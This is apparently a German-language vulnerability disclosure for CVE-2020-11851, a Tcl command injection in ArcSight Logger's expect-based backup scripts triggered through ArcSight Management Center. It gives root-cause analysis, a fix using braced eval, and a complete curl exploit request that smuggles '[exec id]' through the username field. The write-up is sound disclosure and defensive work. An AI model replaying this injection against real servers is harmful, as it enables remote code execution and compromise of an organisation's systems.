
Sicherheitslücke zur Remote-Codeausführung auf ArcSight Logger
Schwachstelle zur Remote-Codeausführung auf ArcSight Logger (über ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Hintergrund der SchwachstelleArcSight Logger ist eine umfassende Protokollverwaltungslösung, die Compliance-Anforderungen erleichtert und schnellere forensische Untersuchungen für Sicherheitsexperten ermöglicht, indem sie Maschinendatenprotokolle aus dem gesamten Unternehmen vereinheitlicht und speichert und so eine schnelle Suche und Berichterstellung über diese Daten ermöglicht.
ArcSight Management Center (ArcMC) ist ein zentrales Sicherheitsmanagement-Center, das große Bereitstellungen von ArcSight-Lösungen wie ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors und ArcSight Connector Appliance (ConApp) über eine einzige Schnittstelle verwaltet.
Die Schwachstelle kann über die Backup-Funktionalität von ArcSight Management Center (Version: 2.7.1.2065.0) ausgenutzt werden. Diese Backup-Option verwendet "expect"-Skripte von ArcSight Logger, die die Tool Command Language (Tcl) nutzen. Die Schwachstelle ermöglicht es Angreifern, beliebige Tcl-Befehle auszuführen. Diese Schwachstelle betrifft das Micro Focus ArcSight Logger Produkt in allen Versionen vor 7.1.1.
SchlussfolgerungDer Server, der die anfällige Software ausführt, kann von Angreifern über die RCE-Schwachstelle kompromittiert werden und zu einem Brückenkopf werden, von dem aus ein Angreifer weitere Angriffe gegen die Server der Organisation starten könnte, was zu einem schwerwiegenden Sicherheitsvorfall führt. Diese Schwachstelle kann zu Datenverlust, -korruption oder Offenlegung gegenüber unbefugten Parteien, Verlust der Rechenschaftspflicht oder Verweigerung des Zugriffs führen.
EmpfehlungenEs wird empfohlen, die Tcl-Sicherheitsbest Practices für "expect"-Skripte zu überprüfen. Grundsätzlich ist die Verwendung von geschweiften Klammern in eval sicher, wie unten gezeigt:
eval puts $exploit ;# anfällig
eval "puts $exploit" ;# anfällig
eval {puts $exploit} ;# sicher
Weitere Informationen finden Sie hier: https://wiki.tcl-lang.org/page/Injection+Attack
Dieser Abschnitt beschreibt Vektoren der Befehlsinjektion, die zur Erkennung der Schwachstelle in ArcSight Logger verwendet werden können. Die folgenden Titel können verwendet werden, um die Angriffsschritte nachzuvollziehen.
Erkundung der anfälligen Backup-OptionIm Administrations-Tab gibt es eine Backup-Option.

Wie wir sehen können, können wir einen entfernten Backup-Server über das SCP-Protokoll konfigurieren. Nachdem ich auf die Schaltfläche "Save" geklickt habe, habe ich die Serverprozesse mit dem Tool "pspy" debuggt, das hier heruntergeladen werden kann: https://github.com/DominicBreuker/pspy/releases
Debuggen des Servers & Root-Cause-AnalyseNach dem Speichern der Backup-Konfiguration habe ich festgestellt, dass die Anwendung ein Bash-Skript zum Überprüfen des SSH-Servers verwendet, wie unten gezeigt (siehe PID 95427):

Hier der detailliertere Befehl (PID 95427) zur Erklärung:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
Schauen wir uns den Inhalt von "runexpect.sh" und "scp.expect.dir.backup1" (expect-Skript) an, bevor wir die Logik von "runexpect.sh" erklären.
Hier ist der Inhalt von "runexpect.sh":
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
Und hier ist der Inhalt des expect-Skripts namens "scp.expect.dir.backup1":
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Die Schwachstelle beginnt hier
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
Wie wir sehen können, setzt "runexpect.sh" die Umgebungsvariable (LD_LIBRARY_PATH) und führt dann das "expect"-Binary mit dem expect-Skript "scp.expect.dir.backup1" aus. Dieses expect-Skript erhält 4 Argumente, die im "ssh"-Befehl verwendet werden.
Die eigentliche Schwachstelle beginnt in Zeile 5 des Skripts namens "scp.expect.dir.backup1". Wie bereits erwähnt, können ohne geschweifte Klammern benutzereingegebene Werte in Tcl-Skripten sehr gefährlich sein.
Erlangen der CodeausführungDa diese Schwachstelle zur Codeausführung völlig blind ist, habe ich den einfachsten Weg zur Demonstration der Ausführung verwendet. Ich habe das Tool "pspy" verwendet, um die Prozesse zu debuggen und die beliebige Codeausführung durch Senden einer bösartigen HTTP-Anfrage zu veranschaulichen.
Hier ist die Logik, die ich vom "expect"-Skript ausführen lassen wollte:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : dies ist argv1
id] : dies ist argv2
fakehostname : dies ist argv3
Erwartetes Verhalten wäre:
eval spawn ssh –p die_ausgabe_des_id_befehls test –d fakehostname && echo exists
# Da [ ] in Tcl wie `` in bash funktioniert. Weitere Informationen zur Tcl-Syntax finden Sie unter https://wiki.tcl-lang.org/welcome
Lassen Sie uns erklären, wie das zu erreichen ist. Wenn ich Leerzeichen zwischen die "Strings" im Parameter "field-username" der entsprechenden HTTP-Anfrage setze, wird dies unbeabsichtigt an das "expect"-Skript übergeben, da es keine Argumentanzahl validiert. Das bedeutet, ich könnte [exec als Portnummer und id] als Benutzernamen injizieren. Normalerweise könnte ich den Portnummer-Parameter der entsprechenden HTTP-Anfrage aufgrund der Eingabevalidierung (nur Ziffern erlaubt) nicht injizieren.
Nach dem Senden der folgenden HTTP-Anfrage habe ich den Befehl erfolgreich ausgeführt und seine Ausgabe mit dem Tool "pspy" ausgegeben.


Hier ist die entsprechende CURL-Anfrage, die ich zur Ausnutzung der Schwachstelle verwendet habe (bitte sessionbezogene Token und Ziel ändern):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'